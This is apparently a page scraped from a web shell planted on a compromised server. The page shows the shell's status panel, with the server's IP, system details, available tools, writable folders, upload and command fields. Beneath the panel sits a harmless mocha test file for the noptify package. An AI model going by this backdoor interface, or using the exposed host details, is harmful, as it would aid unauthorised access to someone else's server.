403Webshell
Server IP : 157.230.181.24  /  Your IP : 216.73.217.11
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux conductive 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User :  ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/convo/node_modules/noptify/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/convo/node_modules/noptify/test/commandable.js
var noptify = require('..');
var assert  = require('assert');

describe('Commandable', function() {

  it('provides the .command() utility', function() {
    assert.ok(typeof noptify().command === 'function');
  });


  describe('Parses remaining arguments and route to the appropriate command', function() {

    it('can be a simple function', function(done) {
      var program = noptify(['', '', 'init', '--debug', 'foo']).option('debug', 'an option');

      program.command('init', function(args, opts) {
        // args ==> sliced args at command position
        // opts ==> nopt parsed object
        assert.deepEqual(args, ['--debug', 'foo']);
        assert.equal(opts.debug, true);
        assert.equal(opts.argv.remain[0], 'foo');
        done();
      });

      program.parse();
    });

    it('or another program, an Noptify instance', function(done) {
      var args = ['', '', 'init', '--debug', 'myapp', 'foo'];

      var init = noptify(args)
        .option('debug', 'Debug output')
        .command('myapp', done.bind(null, null));

      noptify(args).command('init', init).parse();
    });
  });


});

Youez - 2016 - github.com/yon3zu
LinuXploit